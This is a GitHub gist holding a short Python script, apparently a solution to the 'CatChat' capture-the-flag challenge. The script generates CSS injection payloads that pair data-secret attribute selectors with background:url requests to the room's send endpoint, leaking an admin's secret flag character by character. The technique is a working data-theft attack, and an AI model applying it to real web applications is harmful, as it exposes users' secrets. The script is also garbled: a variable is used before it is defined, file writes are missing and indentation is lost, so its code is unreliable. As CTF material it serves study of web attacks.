Skip to content

Instantly share code, notes, and snippets.

Created June 25, 2018 10:08
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
What would you like to do?
CatChat - Payload Generator
# -*- coding: utf-8 -*-
char_al_num = '0123456789abcdefghijklmnopqrstuvwxyz'
char_spl = '!"#$%&\'()*+,-./:;<=>?@^_`{|}~ '
char_Al += char_spl
put_secret_in_chat = "/name leaker ] {color:blue; background:url(/room/3fa91dea-2fc6-4e0f-a614-8243c50e62d8/send?name=admin&msg=/secret abc;;} "
def generate_payload(new_char_returned_by_admin):
main_thing = "span[data-secret^=CTF\{"+new_char_returned_by_admin+"KEY] {background:url(/room/3fa91dea-2fc6-4e0f-a614-8243c50e62d8/send?name=cyberillusion&msg=CTF{"+new_char_returned_by_admin+"KEY);} "
# main_thing = "span[data-secret*="+new_char_returned_by_admin+"\}KEY] {background:url(/room/3fa91dea-2fc6-4e0f-a614-8243c50e62d8/send?name=cyberillusion&msg="+new_char_returned_by_admin+"});} "
alnum_payload = put_secret_in_chat
AL_payload = put_secret_in_chat
for char in char_al_num:
alnum_payload += main_thing.replace('KEY', char)
for char in char_Al:
if char in char_spl:
char = '\\'+char
AL_payload += main_thing.replace('KEY', char)
with open('AL_payload.txt','w') as f:
print("AL_payload.txt generated")
with open('alnum_payload.txt','w') as f:
print("alnum_payload.txt generated")
new_char_returned_by_admin = ''
while True:
new_char_returned_by_admin += raw_input("Enter the new char returned by admin : ")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment